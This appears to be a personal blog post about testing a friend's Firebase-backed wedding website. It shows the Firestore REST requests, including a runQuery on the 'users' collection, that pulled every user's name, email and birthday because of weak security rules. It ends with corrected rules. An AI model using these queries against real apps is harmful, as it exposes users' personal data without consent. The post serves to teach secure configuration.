A friend of mine created a wedding website and I wanted to make sure it’s secured.
Looking through the requests the website seems pretty well written- they use a lot of google APIs for their authentication and storage. So what could go wrong?
As every website, there’re a lot of requests, but seems most of the logic was using Google APIs - auth and storage. Let’s have some fun and research the Google APIs.
request:
POST identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=
{
"returnSecureToken": true,
"email": "homigrotas@some.mail",
"password": "testtest",
"clientType": "CLIENT_TYPE_WEB"
}
response:
{
"error": {
"code": 400,
"message": "INVALID_LOGIN_CREDENTIALS",
"errors": [
{
"message": "INVALID_LOGIN_CREDENTIALS",
"domain": "global",
"reason": "invalid"
}
]
}
}
Firestore is a NoSQL database by Google that’s part of Firebase. It’s designed for apps — fast, flexible, and scalable. It works great if it’s configured properly.
The key thing is that Firestore relies on security rules to control who can read and write data. If those rules aren’t set up right, any authenticated user might get access to data they shouldn’t.
After I created a user and logged in, I saw a weird API call I wasn’t familliar with in websites:
POST https://firestore.googleapis.com/v1/projects//databases/(default)/documents:runAggregationQuery
Who doesn’t want to query a DB? Certianly I LOVE!
So, first we would like to know which collections exist. Trying the following request
POST https://firestore.googleapis.com/v1/projects//databases/(default)/documents:listCollectionIds
response:
{
"error": {
"code": 403,
"message": "Missing or insufficient permissions.",
"status": "PERMISSION_DENIED"
}
}
well… maybe I wasn’t so smart after all. They probably set permissions, and ofcourse I don’t enough permissions to get all the project collection. Do I?
I saw I was able to change the aggergation query, so maybe I could make some quries?
request
POST https://firestore.googleapis.com/v1/projects//databases/(default)/documents:runAggregationQuery\
{
"structuredAggregationQuery": {
"aggregations": [
{
"alias": "aggregate_0",
"count": {}
}
],
"structuredQuery": {
"from": [
{
"collectionId": "eventChats"
}
]
}
}
}
response
[{
"result": {
"aggregateFields": {
"aggregate_0": {
"integerValue": "0"
}
}
},
"readTime": "2025-08-01T15:34:01.251261Z"
}
]
Eventually, I found the following query using firestore API documentation. Let’s try to query possible collections. As we already know, we’re familliar with one collection in the Firestore storage, but I didn’t find it meaningful as we could scrape it. What about the website users?
POST https://firestore.googleapis.com/v1/projects//databases/(default)/documents:runQuery
{
"structuredQuery": {
"from": [{ "collectionId": "users" }]
}
}
And we got our desire- all the users!
[{
"document": {
"name": "projects//databases/(default)/documents/users/0vg....",
"fields": {
"firebaseUid": {
"stringValue": "0vg...."
},
"name": {
"stringValue": "...."
},
"email": {
"stringValue": "...@gmail.com"
},
"profileImageUrl": {
"stringValue": "..."
},
"birthday": {
"stringValue": "1998-08-17"
},
"createdAt": {
"timestampValue": "2025-07-21T16:44:44.075Z"
},
"updatedAt": {
"timestampValue": "2025-07-21T16:44:44.075Z"
}
},
"createTime": "2025-07-21T16:44:44.123596Z",
"updateTime": "2025-07-21T16:44:44.123596Z"
},
"readTime": "2025-08-01T14:16:16.474399Z"
},
....
]
The developers were using Firebase Auth — which is great — but they didn’t configure Firestore’s security rules properly. That meant any logged-in user could query collections like users, even if they weren’t supposed to.
set Firestore rules correctly, such as in the following example:
rules_version = '2';
service cloud.firestore {
match /databases/{database}/documents {
// Only allow users to read/write their own document
match /users/{userId} {
allow read, write: if request.auth != null && request.auth.uid == userId;
}
// For eventChats, allow only logged-in users to read, or limit further
match /eventChats/{chatId} {
allow read: if request.auth != null;
allow write: if false; // or restrict to specific roles
}
}
}
When I saw the site was using Firebase, I figured it was probably fine. Turns out, the infrastructure was solid, but the rules were weak.
Moral of the story? Tools don’t make your app secure — you do. So test like an attacker and think like a developer.
Have fun exploring :)